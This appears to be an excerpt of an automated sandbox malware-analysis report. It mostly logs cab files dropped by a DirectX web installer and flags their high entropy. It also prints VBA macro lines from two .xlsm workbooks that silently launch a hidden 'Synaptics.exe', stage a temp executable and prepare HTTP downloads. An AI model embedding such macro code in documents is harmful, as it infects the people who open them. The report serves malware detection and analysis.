Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Mar2008_d3dx10_37_x86[1].cab entropy: 7.99894945695	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Mar2008_d3dx9_37_x86.cab entropy: 7.99972380205	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CEF92.tmp\Mar2008_d3dx9_37_x86.cab entropy: 7.99972380205	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Jun2008_d3dx10_38_x86.cab entropy: 7.99898013077	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D0EA3.tmp\Jun2008_d3dx10_38_x86.cab entropy: 7.99898013077	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Jun2008_d3dx10_38_x86[1].cab entropy: 7.99898013077	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Jun2008_d3dx9_38_x86.cab entropy: 7.99972642235	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D04A1.tmp\Jun2008_d3dx9_38_x86.cab entropy: 7.99972642235	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Jun2008_d3dx9_38_x86[1].cab entropy: 7.99972642235	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D2A0B.tmp\Nov2008_d3dx9_40_x86.cab entropy: 7.99964527898	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Nov2008_d3dx9_40_x86[1].cab entropy: 7.99964527898	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Aug2008_d3dx10_39_x86.cab entropy: 7.99888618458	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D21AE.tmp\Aug2008_d3dx10_39_x86.cab entropy: 7.99888618458	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Aug2008_d3dx10_39_x86[1].cab entropy: 7.99888618458	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Aug2008_d3dx9_39_x86.cab entropy: 7.9996829971	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D176D.tmp\Aug2008_d3dx9_39_x86.cab entropy: 7.9996829971	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Aug2008_d3dx9_39_x86[1].cab entropy: 7.9996829971	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Jun2007_d3dx10_34_x86[1].cab entropy: 7.9989902264	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CC1DB.tmp\Jun2007_d3dx10_34_x86.cab entropy: 7.9989902264	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Mar2009_d3dx10_41_x86.cab entropy: 7.99875716031	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D498A.tmp\Mar2009_d3dx10_41_x86.cab entropy: 7.99875716031	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Mar2009_d3dx10_41_x86[1].cab entropy: 7.99875716031	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Mar2009_d3dx9_41_x86.cab entropy: 7.99977242309	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D3EDB.tmp\Mar2009_d3dx9_41_x86.cab entropy: 7.99977242309	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Mar2009_d3dx9_41_x86[1].cab entropy: 7.99977242309	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Nov2008_d3dx10_40_x86.cab entropy: 7.99901184706	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Jun2007_d3dx10_34_x86.cab entropy: 7.9989902264	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D3527.tmp\Nov2008_d3dx10_40_x86.cab entropy: 7.99901184706	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Nov2008_d3dx10_40_x86[1].cab entropy: 7.99901184706	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Nov2008_d3dx9_40_x86.cab entropy: 7.99964527898	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Aug2009_d3dx11_42_x86.cab entropy: 7.99133262696	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D5FE0.tmp\Aug2009_d3dx11_42_x86.cab entropy: 7.99133262696	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Aug2009_d3dx11_42_x86[1].cab entropy: 7.99133262696	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Aug2009_d3dx10_42_x86.cab entropy: 7.99617858979	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D59F5.tmp\Aug2009_d3dx10_42_x86.cab entropy: 7.99617858979	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Aug2009_d3dx10_42_x86[1].cab entropy: 7.99617858979	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Aug2009_d3dx9_42_x86.cab entropy: 7.99947517428	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6D5244.tmp\Aug2009_d3dx9_42_x86.cab entropy: 7.99947517428	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Aug2009_d3dx9_42_x86[1].cab entropy: 7.99947517428	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Jun2007_d3dx9_34_x86[1].cab entropy: 7.99906642826	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CB74C.tmp\Jun2007_d3dx9_34_x86.cab entropy: 7.99906642826	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Jun2007_d3dx9_34_x86.cab entropy: 7.99906642826	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Apr2007_d3dx10_33_x86[1].cab entropy: 7.99896802841	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CB038.tmp\Apr2007_d3dx10_33_x86.cab entropy: 7.99896802841	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Apr2007_d3dx10_33_x86.cab entropy: 7.99896802841	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C516E.tmp\Feb2005_d3dx9_24_x86.cab entropy: 7.99897272471	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Feb2005_d3dx9_24_x86.cab entropy: 7.99897272471	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Apr2005_d3dx9_25_x86[1].cab entropy: 7.99907513517	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C59BB.tmp\Apr2005_d3dx9_25_x86.cab entropy: 7.99907513517	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Apr2005_d3dx9_25_x86.cab entropy: 7.99907513517	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Jun2005_d3dx9_26_x86[1].cab entropy: 7.99904021782	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C639E.tmp\Jun2005_d3dx9_26_x86.cab entropy: 7.99904021782	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Jun2005_d3dx9_26_x86.cab entropy: 7.99904021782	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Aug2005_d3dx9_27_x86[1].cab entropy: 7.99913898215	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C6D43.tmp\Aug2005_d3dx9_27_x86.cab entropy: 7.99913898215	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Aug2005_d3dx9_27_x86.cab entropy: 7.99913898215	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Dec2005_d3dx9_28_x86[1].cab entropy: 7.99912186515	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C75FD.tmp\Dec2005_d3dx9_28_x86.cab entropy: 7.99912186515	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Dec2005_d3dx9_28_x86.cab entropy: 7.99912186515	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Feb2006_d3dx9_29_x86[1].cab entropy: 7.99922866964	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\dxupdate[1].cab entropy: 7.99005571784	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6BB1F2.tmp\dxupdate.cab entropy: 7.99005571784	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\dxupdate.cab entropy: 7.99005571784	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C7F92.tmp\Feb2006_d3dx9_29_x86.cab entropy: 7.99922866964	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Feb2006_d3dx9_29_x86.cab entropy: 7.99922866964	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Apr2006_d3dx9_30_x86[1].cab entropy: 7.99905051808	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C883D.tmp\Apr2006_d3dx9_30_x86.cab entropy: 7.99905051808	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Apr2006_d3dx9_30_x86.cab entropy: 7.99905051808	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\OCT2006_d3dx9_31_x86[1].cab entropy: 7.99908172452	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C92CC.tmp\Oct2006_d3dx9_31_x86.cab entropy: 7.99908172452	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Oct2006_d3dx9_31_x86.cab entropy: 7.99908172452	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\DEC2006_d3dx9_32_x86[1].cab entropy: 7.99909224767	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C9C42.tmp\Dec2006_d3dx9_32_x86.cab entropy: 7.99909224767	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Dec2006_d3dx9_32_x86.cab entropy: 7.99909224767	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Apr2007_d3dx9_33_x86[1].cab entropy: 7.99928426182	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6CA606.tmp\Apr2007_d3dx9_33_x86.cab entropy: 7.99928426182	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Apr2007_d3dx9_33_x86.cab entropy: 7.99928426182	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Dec2006_d3dx10_00_x86[1].cab entropy: 7.99660427625	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C3A9A.tmp\Dec2006_d3dx10_00_x86.cab entropy: 7.99660427625	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Dec2006_d3dx10_00_x86.cab entropy: 7.99660427625	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Dec2006_d3dx10_00_x64[1].cab entropy: 7.99694629492	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C4047.tmp\Dec2006_d3dx10_00_x64.cab entropy: 7.99694629492	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\Dec2006_d3dx10_00_x64.cab entropy: 7.99694629492	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Feb2005_d3dx9_24_x86[1].cab entropy: 7.99897272471	Jump to dropped file

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: zsbKktb3.xlsm.4.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: GLTYDMDUST.xlsm.4.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: zsbKktb3.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: GLTYDMDUST.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: zsbKktb3.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: GLTYDMDUST.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: zsbKktb3.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: GLTYDMDUST.xlsm.4.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_0100263F ExitWindowsEx,		2_2_0100263F
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_010018B5 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,		2_2_010018B5

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\Logs\DirectX.log	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\SET8E7C.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\SET8E7C.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\SET8EBB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\directx\websetup\SET8EBB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\filelist.dat	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6BB1F2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6BB1F2.tmp\dxupdate.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\dxupdate.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C255D.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C255D.tmp\Apr2006_xinput_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Apr2006_xinput_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C2A7D.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C2A7D.tmp\Apr2006_xinput_x64.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Apr2006_xinput_x64.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C300B.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C300B.tmp\Aug2006_xinput_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Aug2006_xinput_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C353B.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C353B.tmp\Aug2006_xinput_x64.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Aug2006_xinput_x64.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C3A9A.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C3A9A.tmp\Dec2006_d3dx10_00_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Dec2006_d3dx10_00_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C4047.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C4047.tmp\Dec2006_d3dx10_00_x64.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Dec2006_d3dx10_00_x64.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C4643.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C4643.tmp\Apr2007_xinput_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Apr2007_xinput_x86.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C4B82.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\msdownld.tmp\AS6C4B82.tmp\Apr2007_xinput_x64.cab	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File created: C:\Windows\SysWOW64\DirectX\WebSetup\Apr2007_xinput_x64.cab	Jump to behavior
